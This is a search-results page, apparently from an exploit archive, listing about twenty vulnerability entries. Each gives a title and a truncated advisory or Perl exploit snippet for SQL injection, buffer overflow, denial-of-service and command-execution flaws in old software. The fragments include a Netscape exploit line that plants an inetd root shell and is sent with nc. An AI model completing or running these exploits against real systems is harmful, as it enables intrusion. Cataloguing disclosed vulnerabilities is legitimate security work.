1109 matches found
CHETCPASSWD 1.12 Shadow File Disclosure Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/6472/info CHETCPASSWD is prone to a vulnerability that may potentially cause the tail end of the local shadow file to be disclosed to a remote attacker. It is possible to exploit this issue by sending an overly long strin...
Joomla Component n-forms 1.01 - Blind SQL Injection Exploit
No description provided by source. !/usr/bin/perl use LWP::UserAgent; use Getopt::Long; if!$ARGV1 print \n; print \n; print Mambot Component n-forms Blind SQL Injection Exploit \n; print Author:The Moorish :D \n; print Greetz:Team-dz,His0k4,x.CJP.x,Kader11000,c02,piRAte DIgitAL\n; print...
Juke 4.0.2 DoS Multiple Files
No description provided by source. Exploit Title: Juke 4.0.2 DoS Multiple Files Date: April 6, 2010 Software Link: http://www.wolosoft.com/en/download.html Version: 4.0.2 Tested on: Windows XP SP3 Author: anonymous Juke will Crash when you run this script to make a file with any of the following...
Camtron CMNC-200 IP Camera Denial of Service Vulnerability
No description provided by source. Finding 5: Camera Denial of Service CVE: CVE-2010-4234 The CMNC-200 IP Camera has a built-in web server that is vulnerable to denial of service attacks. Sending multiple requests in parallel to the web server may cause the camera to reboot. Requests with long...
Greg Matthews Classifieds.cgi 1.0 Metacharacter Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/2020/info Classifieds.cgi is a perl script part of the classifieds package by Greg Matthews which provides simple classified ads to web sites. Due to improper input validation it can be used to read files on the host...
AT-TFTP <= 1.9 (Long Filename) Remote Buffer Overflow Exploit
No description provided by source. !/usr/bin/perl -w acaroatjervus.it http://www.securityfocus.com/bid/21320 [email protected] is credited with the discovery of this vulnerability use IO::Socket; if!$ARGV1 print Uso: atftp-19.pl victim port\n\n; exit; $victim = IO::Socket::INET-newProto='udp',...
YapBB <= 1.2 (cfgIncludeDirectory) Remote Command Execution Exploit
No description provided by source. !/usr/bin/perl YapBB =1.2 Beta Remote Command Execution Exploit Copyright c 2006 cijfer cijfer@netti!fi All rights reserved. never ctrl+c again. cijfer$ http://target.com/dir host changed to 'http://target.com/dir' cijfer$ to set your PHP shell location: cijfer$...
Eznet 3.5.0 - Remote Stack Overflow Universal Exploit
No description provided by source. !/usr/bin/perl -w COROMPUTER Crpt universal eZ v3.3 v3.5 remote exploit by kralor Crpt ---------------------------------------------------------------------------------------- versions tested & not vulnerables: v3.0 v3.1 v3.2 versions tested & vulnerables: v3.3...
Netscape Enterprise Server 4.0/sparc/SunOS 5.7 - Remote Exploit
No description provided by source. !/usr/bin/perl Remote sploit for Netscape Enterprise Server 4.0/sparc/SunOS 5.7 usage: ns-shtml.pl 'command line' | nc victim port Sometimes server may hang or coredump.. eek ;- [email protected] $cmdline=echo 'ingreslock stream tcp nowait root /bin/sh sh -i...
vqSoft vqServer 1.4.49 DoS Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/1610/info vqServer 1.4.49 is subject to a buffer overflow. If a GET request is sent to the server containing 65 000 characters the server will stop responding. A reboot is required in order to gain normal functionality...
Softek MailMarshal 4,Trend Micro ScanMail 1.0 SMTP Attachment Protection Bypass
No description provided by source. source: http://www.securityfocus.com/bid/3097/info At least two SMTP gateway products have been identified which contain flaws in the handling of restricted filetypes as attachments. An attacker can insert extraneous characters in the filename extension of a...
Novell GroupWise Messenger 2.0 - Client Buffer Overflow Vulnerabilities
No description provided by source. source: http://www.securityfocus.com/bid/29602/info Novell GroupWise Messenger is prone to two buffer-overflow vulnerabilities because it fails to adequately bounds-check user-supplied data before copying it to an insufficiently sized buffer. Attackers can explo...
Annuaire 1Two 2.2 - Remote SQL Injection Exploit
No description provided by source. !/usr/bin/perl Affected.scr..: Annuaire 1Two 2.2 Poc.ID........: 09060902.txt Type..........: SQL Injection without quote Risk.level....: Medium Vendor.Status.: Unpatched Src.download..: http://www.1two.org/ Poc.link......: acid-root.new.fr/poc/09060902.txt...
CVS 1.10.7 - Local Denial of Service Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/1136/info CVS stands for Concurrent Versions Software and is an open-source package designed to allow multiple developers to work concurrently on a single source tree, recording changes and controlling versions. It is...
AKoff MIDI Player 1.00 - Buffer Overflow Exploit
No description provided by source. !/usr/bin/perl AKoff MIDI Player 1.00 Buffer Overflow Exploit By cr4wl3r cr4wl3r\x40linuxmail\x2Eorg gr33tz: str0ke, opt!x hacker, xoron, EA ngel, zvtral, Hmei7, mywisdom, cyberlog, irvian, and all my friend thanks: milw0rm, darkc0de, exploit-db, inj3ct0r,...
ASPPortal <= 3.1.1 (downloadid) Remote SQL Injection Exploit
No description provided by source. !/usr/bin/perl Method found & Exploit scripted by nukedx Contacts ICQ: 10072 MSN/Main: [email protected] web: www.nukedx.com Original advisory: http://www.nukedx.com/?viewdoc=21 Usage: aspp.pl host path user use IO::Socket; use Math::BigInt; if@ARGV != 3 usage;...
PunBB <= 1.3.4 & Pun_PM <= 1.2.6 - Remote Blind SQL Injection Exploit
No description provided by source. !/usr/bin/perl 0-Day PunBB = 1.3. Package: PunPM = v1.2.6 Remote Blind SQL Injection Exploit Author/s: Dante90, WaRWolFz Crew Created: 2009.07.30 after 0 days the bug was discovered. Crew Members: 4lasthor, Andryxxx, Cod3, Gho5t, HeRtZ, N.o.3.X, RingZero,...
BlazeDVD Pro player 6.1 - Stack Based Buffer Overflow (Direct Ret)
No description provided by source. !/usr/bin/perl BlazeDVD Pro player 6.1 Local stack based buffer overflow Author: PuN1sh3r Email: [email protected] Date: Mon Jul 15 03:01:37 EDT 2013 Vendor link: http://www.blazevideo.com/download.htmm Software Link:...
Lotus Domino Server 5.0.x Directory Traversal Vulnerability (1)
No description provided by source. source: http://www.securityfocus.com/bid/2173/info It is possible for a remote user to gain access to any known file residing on the Lotus Domino Server 5.0.6 and previous. A specially crafted HTTP request comprised of '.nsf' and '../' along with the known...
Psunami Bulletin Board 0.x Psunami.CGI Remote Command Execution Vulnerability (1)
No description provided by source. source: http://www.securityfocus.com/bid/6607/info Psunami Bulletin Board is prone to a remote command execution vulnerability. Psunami does not sufficiently sanitize shell metacharacters from query string parameters. As a result, it may be possible for a remote...